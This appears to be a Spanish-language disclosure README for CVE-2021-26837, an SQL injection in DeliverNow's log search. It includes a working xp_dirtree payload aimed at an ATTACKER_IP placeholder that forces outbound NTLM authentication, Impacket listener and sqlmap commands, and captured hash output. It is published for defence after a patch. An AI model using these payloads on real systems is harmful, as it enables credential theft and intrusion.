
CVE-2021-26837 - Inyección SQL en el parámetro SearchTextbox de HelpSystems/Fortra DeliverNow. Payloads, solicitudes anotadas y evidencia. Corregido en 1.2.18.
Inyección SQL en HelpSystems / Fortra DeliverNow
El parámetro SearchTextbox de la página de búsqueda de registros de DeliverNow (/LogGrid.aspx) se concatena directamente en una consulta de SQL Server sin parametrización ni validación en el servidor. La aplicación también mostraba al usuario los errores resultantes del analizador de SQL Server, que es como la vulnerabilidad se reveló en primer lugar.
La conexión a la base de datos se ejecutaba como sa, por lo que la inyección heredó todos los derechos de sysadmin sobre la instancia. Eso fue suficiente para llamar a master.dbo.xp_dirtree contra una ruta UNC controlada por el atacante y forzar a la cuenta de servicio de SQL Server a autenticarse hacia el exterior.
Encontrada durante una prueba de penetración interna. Corregida por el proveedor en DeliverNow 1.2.18 y publicada como CVE-2021-26837.
Descubierta y notificada por Sedric Louissaint de Show Up Show Out Security.
| CVE | CVE-2021-26837 |
| Producto | DeliverNow (HelpSystems, ahora Fortra) |
| Afectados | anteriores a 1.2.18 (el aviso original listaba 1.2.18 y anteriores) |
| Debilidad | CWE-89: Inyección SQL |
| CVSS 3.1 (NVD) | 9.8 Crítico CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVSS 2 (investigador) | 9.0 AV:N/AC:L/Au:N/C:C/I:P/A:P |
| Publicado | 2023-09-19 |
| Probado en | Windows Server 2019 Datacenter 10.0 (x64), SQL Server 2017 (RTM-CU20) 14.0.3294.2 (x64) |
Descripción NVD:
Vulnerabilidad de inyección SQL en el parámetro SearchTextBox en Fortra (anteriormente HelpSystems) DeliverNow anterior a la versión 1.2.18, permite a los atacantes ejecutar código arbitrario, escalar privilegios y obtener información sensible.
POST /LogGrid.aspx, parámetro del cuerpo SearchTextbox. El formulario es el control de búsqueda en la vista Log de la aplicación. ddlFieldName selecciona la columna a buscar (Description en las peticiones siguientes) y SearchTextbox contiene el término.
Una comilla simple es suficiente para demostrarlo:
blah'
La respuesta muestra el error del analizador de SQL Server directamente en la página:
Info: Unclosed quotation mark after the character string ''. Incorrect syntax near ''.

Esa exposición de errores es un hallazgo en sí mismo. Convierte lo que de otro modo sería una inyección ciega en una totalmente interactiva.
Como la conexión se ejecuta como sa, master.dbo.xp_dirtree es accesible. Apuntarlo a una ruta UNC en un host que usted controle hace que la cuenta de servicio de SQL Server se autentique hacia el exterior en ese host a través de SMB:
123';declare @q varchar(99);set @q='\\ATTACKER_IP'+'\fro'; exec master.dbo.xp_dirtree @q;--

Petición completa en poc/exploited-request.http, cargas útiles en poc/payloads.sql.

Con smbserver.py de Impacket a la escucha, la cuenta de servicio de SQL Server del objetivo se autentica y filtra un hash NTLMv2:
[*] Incoming connection (10.1.103.109,49488)
[*] AUTHENTICATE_MESSAGE (\SQLServices,SCS-FTEREPORTS)
[*] User SCS-FTEREPORTS\SQLServices authenticated successfully
[*] SQLServices::...:aaaaaaaaaaaaaaaa:e1571710b57de81bc1668fdc92ff1f2a:...

El hash está entonces disponible para su descifrado offline o para un relay NTLM a otro host.
sqlmap confirma la inyección y el nivel de privilegios:
back-end DBMS: Microsoft SQL Server 2017
[INFO] fetching current user
[INFO] retrieved: sa
current user: 'sa'
[INFO] fetching current database
[INFO] retrieved: RJSReportDelivery
current database: 'RJSReportDelivery'
[INFO] fetching database users password hashes
[INFO] retrieved: 21

sa significa que todos los hashes de inicio de sesión de la instancia son legibles, y xp_cmdshell está a una llamada sp_configure de la ejecución de comandos en el host.
Contra una instancia de laboratorio que usted posea o esté autorizado a probar:
http://<host>:1080/) y abra Log.blah' en el cuadro de búsqueda y envíe. Una versión vulnerable muestra el error del analizador de SQL Server en la página.sudo smbserver.py c . -smb2support
xp_dirtree de poc/payloads.sql con su propia IP sustituida. Una versión vulnerable produce una autenticación SMB entrante de la cuenta de servicio de SQL Server.sqlmap -r poc/exploited-request.http -p SearchTextbox --batch --current-user --current-db
poc/
payloads.sql Detection and out-of-band payloads for SearchTextbox
exploited-request.http The full POST request, ready for sqlmap -r
sqlmap.md sqlmap invocations and expected output
media/
01-sql-error-in-log-search.png
02-xp-dirtree-payload-in-searchtextbox.png
03-forced-auth-captured-impacket.png
04-sqlmap-sa-enumeration.png
05-exploited-http-request.png
Los hosts y hashes de las capturas provienen del compromiso original y llevan mucho tiempo muertos. Sustituya su propia dirección de listener al reproducir.
sa. La aplicación necesita acceso de lectura y escritura a sus propias tablas. No necesita sysadmin, ni necesita xp_dirtree. El principio de mínimo privilegio no habría evitado la inyección, pero la habría contenido.Corregido por el proveedor en DeliverNow 1.2.18. Actualice.
| Fecha | Evento |
|---|---|
| 2021 | Encontrada durante una prueba de penetración interna y notificada a HelpSystems |
| 2021 | Corregida en DeliverNow 1.2.18 |
| 2023-09-19 | CVE-2021-26837 publicado en NVD, con una puntuación de 9.8 Crítico |
Publicado después de la remediación del proveedor, con fines defensivos y educativos. Las cargas útiles aquí incluidas apuntan a una versión parcheada hace años. No las ejecute contra sistemas que no posea o para los que no tenga autorización por escrito para probar.